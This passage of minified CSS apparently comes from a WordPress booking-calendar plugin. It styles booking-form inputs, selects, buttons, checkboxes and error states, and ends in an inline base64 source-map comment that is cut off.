input[type=datetime-local]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=datetime]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=email]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=month]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=number]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=password]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=range]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=search]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=tel]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=text]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=time]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=url]::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=week]::-webkit-input-placeholder,div.wpbc_container.wpbc_form select::-webkit-input-placeholder,div.wpbc_container.wpbc_form textarea::-webkit-input-placeholder{color:var(--wpbc_form-field-text-color);opacity:.5;pointer-events:none}.wp-core-ui div.wpbc_container.wpbc_form input[type=date]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=email]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=month]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=number]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=password]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=range]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=search]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=tel]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=text]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=time]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=url]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=week]::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form select::-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form textarea::-moz-placeholder,div.wpbc_container.wpbc_form input[type=date]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=datetime-local]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=datetime]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=email]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=month]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=number]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=password]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=range]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=search]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=tel]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=text]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=time]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=url]::-moz-placeholder,div.wpbc_container.wpbc_form input[type=week]::-moz-placeholder,div.wpbc_container.wpbc_form select::-moz-placeholder,div.wpbc_container.wpbc_form textarea::-moz-placeholder{color:var(--wpbc_form-field-text-color);opacity:.5;pointer-events:none}.wp-core-ui div.wpbc_container.wpbc_form input[type=date]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=email]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=month]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=number]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=password]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=range]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=search]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=text]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=time]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=url]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=week]:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form select:-moz-placeholder,.wp-core-ui div.wpbc_container.wpbc_form textarea:-moz-placeholder,div.wpbc_container.wpbc_form input[type=date]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=datetime-local]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=datetime]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=email]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=month]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=number]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=password]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=range]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=search]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=tel]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=text]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=time]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=url]:-moz-placeholder,div.wpbc_container.wpbc_form input[type=week]:-moz-placeholder,div.wpbc_container.wpbc_form select:-moz-placeholder,div.wpbc_container.wpbc_form textarea:-moz-placeholder{color:var(--wpbc_form-field-text-color);opacity:.5;pointer-events:none}.wp-core-ui div.wpbc_container.wpbc_form textarea,div.wpbc_container.wpbc_form textarea{width:100%;line-height:1.3;min-height:var(--wpbc_form-field-size-input-height);padding:var(--wpbc_form-field-size-padding-h);resize:vertical}.wp-core-ui div.wpbc_container.wpbc_form input,.wp-core-ui div.wpbc_container.wpbc_form select,div.wpbc_container.wpbc_form input,div.wpbc_container.wpbc_form select{height:var(--wpbc_form-field-size-input-height)}.wp-core-ui div.wpbc_container.wpbc_form select,div.wpbc_container.wpbc_form select{appearance:none;display:block;max-width:100%;width:100%;text-transform:none;text-shadow:none;white-space:nowrap;line-height:unset;padding-block:0;padding-inline-end:24px;padding-inline-start:12px;min-height:var(--wpbc_form-field-size-input-height);vertical-align:middle;cursor:pointer}.wp-core-ui div.wpbc_container.wpbc_form select,.wp-core-ui div.wpbc_container.wpbc_form select:disabled,div.wpbc_container.wpbc_form select,div.wpbc_container.wpbc_form select:disabled{background-image:var(--wpbc_form-select-bg-img),none;background-repeat:no-repeat;background-position:calc(100% - 11px) 50%,calc(100% - 12px) 50%;background-size:16px 12px}.rtl .wp-core-ui div.wpbc_container.wpbc_form select,.rtl .wp-core-ui div.wpbc_container.wpbc_form select:disabled,.rtl div.wpbc_container.wpbc_form select,.rtl div.wpbc_container.wpbc_form select:disabled{background-position:12px 50%,17px 50%}.wp-core-ui div.wpbc_container.wpbc_form select>option,div.wpbc_container.wpbc_form select>option{color:var(--wpbc_form-field-text-color)}.wp-core-ui div.wpbc_container.wpbc_form select>option.placeholder,.wp-core-ui div.wpbc_container.wpbc_form select>option[disabled],div.wpbc_container.wpbc_form select>option.placeholder,div.wpbc_container.wpbc_form select>option[disabled]{color:var(--wpbc_form-field-disabled-color);opacity:.5}.wp-core-ui div.wpbc_container.wpbc_form select:not([multiple])>option,div.wpbc_container.wpbc_form select:not([multiple])>option{background:var(--wpbc_form-field-menu-color)}.wp-core-ui div.wpbc_container.wpbc_form select:not([multiple])>option:not(.placeholder):checked,div.wpbc_container.wpbc_form select:not([multiple])>option:not(.placeholder):checked{font-weight:700}.wp-core-ui div.wpbc_container.wpbc_form select[multiple],div.wpbc_container.wpbc_form select[multiple]{height:auto;overflow-y:scroll;background-image:none}.wp-core-ui div.wpbc_container.wpbc_form select[multiple]>option:not(.placeholder):checked,div.wpbc_container.wpbc_form select[multiple]>option:not(.placeholder):checked{background:var(--wpbc_form-button-background-color);color:var(--wpbc_form-button-text-color-alt,var(--wpbc_form-button-text-color))}.wp-core-ui div.wpbc_container.wpbc_form input[type=number]:read-only,div.wpbc_container.wpbc_form input[type=number]:read-only{appearance:textfield;-moz-appearance:textfield;-webkit-appearance:textfield}.wp-core-ui div.wpbc_container.wpbc_form input[type=number]:read-only::-webkit-inner-spin-button,div.wpbc_container.wpbc_form input[type=number]:read-only::-webkit-inner-spin-button{visibility:hidden}.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light),.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light),div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light),div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light){height:var(--wpbc_form-button-size-height);background-color:var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color));border-radius:var(--wpbc_form-button-border-radius);border-style:var(--wpbc_form-button-border-style);border-color:var(--wpbc_form-button-border-color);border-width:var(--wpbc_form-button-border-size);box-shadow:none;color:var(--wpbc_form-button-text-color);padding:0 var(--wpbc_form-button-size-padding-h);font-family:inherit;font-weight:500;font-size:var(--wpbc_form-button-size-font-size);line-height:100%;cursor:pointer;transition:.15s ease-in-out;position:relative;text-decoration:none}.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):not(:hover):not(:active),.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):not(:hover):not(:active),div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):not(:hover):not(:active),div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):not(:hover):not(:active){background-color:var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color));color:var(--wpbc_form-button-text-color)}.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):active,.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):hover,.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):active,.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):hover,div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):active,div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):hover,div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):active,div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):hover{background:linear-gradient(0deg,rgba(0,0,0,.2),rgba(0,0,0,.2)),var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color))}.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus,div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus,div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus{outline:0}.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus:after,.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus:after,div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus:after,div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus:after{content:"";position:absolute;border:2px solid var(--wpbc_form-button-background-color);border-radius:calc(var(--wpbc_form-button-border-radius) + 2px);top:calc(-4px - var(--wpbc_form-button-border-size,1px));right:calc(-4px - var(--wpbc_form-button-border-size,1px));bottom:calc(-4px - var(--wpbc_form-button-border-size,1px));left:calc(-4px - var(--wpbc_form-button-border-size,1px))}.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled,.wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled:hover,.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled,.wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled:hover,div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled,div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled:hover,div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled,div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled:hover{background-color:var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color));cursor:default}div.wpbc_container.wpbc_form input[type=checkbox],div.wpbc_container.wpbc_form input[type=radio]{position:relative;display:inline-block;background:0 0;height:calc(var(--wpbc_form-field-size-checkbox-size) - 2px + calc(var(--wpbc_form-field-border-size,1px) * 2));width:calc(var(--wpbc_form-field-size-checkbox-size) - 2px + calc(var(--wpbc_form-field-border-size,1px) * 2));margin:0 0 0 2px;border:none;box-shadow:none;vertical-align:middle;opacity:1;appearance:none}div.wpbc_container.wpbc_form input[type=checkbox]:after,div.wpbc_container.wpbc_form input[type=checkbox]:before,div.wpbc_container.wpbc_form input[type=radio]:after,div.wpbc_container.wpbc_form input[type=radio]:before{content:'';position:absolute;left:-2px;top:0;width:var(--wpbc_form-field-size-checkbox-size);height:var(--wpbc_form-field-size-checkbox-size);box-sizing:content-box;cursor:pointer}div.wpbc_container.wpbc_form input[type=checkbox]:before,div.wpbc_container.wpbc_form input[type=radio]:before{border-width:var(--wpbc_form-field-border-size);border-style:var(--wpbc_form-field-border-style);border-color:var(--wpbc_form-field-border-color);background-color:var(--wpbc_form-field-background-color);background-clip:padding-box;background-image:none;border-radius:3px}div.wpbc_container.wpbc_form .wpdev-list-item>input[type=checkbox]+.wpdev-list-item-label,div.wpbc_container.wpbc_form .wpdev-list-item>input[type=radio]+.wpdev-list-item-label,div.wpbc_container.wpbc_form input[type=checkbox]+label,div.wpbc_container.wpbc_form input[type=radio]+label{display:inline;position:relative;padding-inline-start:var(--wpbc_form-padding-between-label-checkbox-radio);font-size:var(--wpbc_form-label-size-font-size);vertical-align:middle}div.wpbc_container.wpbc_form input[type=checkbox]+label,div.wpbc_container.wpbc_form input[type=radio]+label{cursor:pointer}div.wpbc_container.wpbc_form .wpdev-list-item>.wpdev-list-item-label:first-child{display:inline;position:relative;padding-inline-end:var(--wpbc_form-padding-between-label-checkbox-radio);font-size:var(--wpbc_form-label-size-font-size);vertical-align:middle}div.wpbc_container.wpbc_form .wpdev-list-item>label.wpdev-list-item-label:first-child{cursor:pointer}div.wpbc_container.wpbc_form .wpdev-list-item>.wpdev-list-item-label>input[type=checkbox],div.wpbc_container.wpbc_form .wpdev-list-item>.wpdev-list-item-label>input[type=radio]{margin-left:var(--wpbc_form-padding-between-label-checkbox-radio);margin-right:var(--wpbc_form-padding-between-label-checkbox-radio)}div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item,div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item{margin-right:var(--wpbc_form-marging-between-several-checkbox-radio)}div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item:last-child,div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item:last-child{margin-right:0}.rtl div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item,.rtl div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item{margin-left:var(--wpbc_form-marging-between-several-checkbox-radio)}.rtl div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item:first-child,.rtl div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item:first-child{margin-left:0}div.wpbc_container.wpbc_form input[type=checkbox]:checked:before,div.wpbc_container.wpbc_form input[type=radio]:checked:before{margin:0;border-width:var(--wpbc_form-field-border-size);border-style:solid;border-color:var(--wpbc_form-button-background-color);box-shadow:0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15);outline:0}div.wpbc_container.wpbc_form input[type=checkbox]:focus,div.wpbc_container.wpbc_form input[type=radio]:focus{outline:0}div.wpbc_container.wpbc_form input[type=checkbox]:focus:before,div.wpbc_container.wpbc_form input[type=radio]:focus:before{border-width:var(--wpbc_form-field-border-size);border-style:solid;border-color:var(--wpbc_form-button-background-color);box-shadow:0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15);outline:0}div.wpbc_container.wpbc_form input[type=checkbox]:checked:after{border-top:none;border-right:none;height:calc(var(--wpbc_form-field-size-checkbox-size) * .6);border-left:4px solid var(--wpbc_form-button-background-color);border-bottom:4px solid var(--wpbc_form-button-background-color);background-color:transparent;-ms-transform:translate(0,1px) scale(.5) rotate(-45deg);transform:translate(0,1px) scale(.5) rotate(-45deg);left:calc(-4px + var(--wpbc_form-field-border-size,1px));top:calc(-1px + var(--wpbc_form-field-border-size,1px))}div.wpbc_container.wpbc_form input[type=radio],div.wpbc_container.wpbc_form input[type=radio]:before{border-radius:50%}div.wpbc_container.wpbc_form input[type=radio]:checked:after{border:1px solid transparent;border-radius:50%;background-color:var(--wpbc_form-button-background-color);-ms-transform:scale(.5);transform:scale(.5);-moz-transform:scale(.47);left:calc(-3px + var(--wpbc_form-field-border-size,1px));top:calc(-1px + var(--wpbc_form-field-border-size,1px))}div.wpbc_container.wpbc_form.wpbc_container_booking_form label.wpbc_form_field_error,div.wpbc_container.wpbc_form.wpbc_container_booking_form span.wpbc_form_field_error{font-weight:400;font-size:var(--wpbc_form-label-size-sublabel-font-size);line-height:var(--wpbc_form-label-size-sublabel-line-height);margin-top:var(--wpbc_form-field-size-input-spacing);color:var(--wpbc_form-label-error-color);padding:0 0 0 5px;position:relative}div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error,div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error,div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error{border-width:var(--wpbc_form-field-border-size);border-style:solid;border-color:var(--wpbc_form-label-error-color)}div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error:hover,div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error:hover,div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error:hover{border-width:var(--wpbc_form-field-border-size);border-style:solid;border-color:var(--wpbc_form-label-error-color);box-shadow:0 0 2px 0 var(--wpbc_form-label-error-color)}div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error:focus,div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error:focus,div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error:focus{border-width:var(--wpbc_form-field-border-size);border-style:solid;border-color:var(--wpbc_form-label-error-color);box-shadow:0 0 0 1.2px var(--wpbc_form-label-error-color)}div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error,div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error:focus,div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error:hover,div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error,div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error:focus,div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error:hover{border:none;box-shadow:none} /*# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImNzcy9fb3V0L3dwYmNfZmVfX2Zvcm1fZmllbGRzLmNzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxNQUNFLGdDQUFpQyxJQUNqQywrQkFBZ0MsTUFDaEMsOEJBQStCLElBQy9CLG1DQUFvQyxRQUNwQywrQkFBZ0Msb0JBQ2hDLHFDQUFzQyxvQkFDdEMsNkJBQThCLG1CQUM5QixpQ0FBa0MsbUJBQ2xDLDBCQUEyQixnT0FDM0IsNkJBQThCLFFBQzlCLHdCQUF5QixvQkFDekIsaUNBQWtDLG9CQUNsQyw4QkFBK0IsUUFDL0IsaUNBQWtDLElBQ2xDLGdDQUFpQyxLQUNqQywrQkFBZ0MsSUFDaEMsb0NBQXFDLFFBQ3JDLHdDQUF5QyxRQUN6QyxnQ0FBaUMsUUFDakMsOEJBQStCLFFBQy9CLGtDQUFtQyxLQUNuQyw2QkFBOEIsUUFDOUIsNkJBQThCLEtBQzlCLGdDQUFpQyxPQUFPLE9BQ3hDLDhCQUErQixVQUMvQiw0QkFBNkIsTUFDN0IsNkJBQThCLE1BQzlCLDhCQUErQixNQUMvQiw2QkFBOEIsaUJBQzlCLDJCQUE0QixLQUM1Qiw4QkFBK0IsSUFDL0IsbUNBQW9DLEtBQ3BDLG1DQUFvQyxJQUNwQyxtQ0FBb0MsUUFDcEMsb0NBQXFDLElBQ3JDLG9DQUFxQyxLQUNyQyxxQ0FBc0MsS0FDdEMsaUNBQWtDLEtBQ2xDLG1DQUFvQyxLQUNwQyxpQ0FBa0MsS0FDbEMscUNBQXNDLEtBQ3RDLHdDQUF5QyxJQUN6QyxpQ0FBa0MsRUFDbEMsaUNBQWtDLEtBQ2xDLG1DQUFvQyxLQUNwQywwQ0FBMkMsS0FDM0MsNENBQTZDLEtBQzdDLGtDQUFtQyxLQUNuQywrQkFBZ0MsS0FDaEMsa0NBQW1DLEtBQ25DLG1DQUFvQyxLQUNwQyw2Q0FBOEMsS0FDOUMsbURBQW9ELEtBQ3BELGlEQUFrRCxJQUVwRCxvQ0FDQSxtQ0FDQSxtQ0FDQSxvQ0FDQSxzQ0FDRSxPQUFRLEVBQ1IsT0FBUSxFQUNSLFFBQVMsRUFDVCxlQUFnQixPQUNoQixXQUFZLEVBQUUsRUFDZCxPQUFR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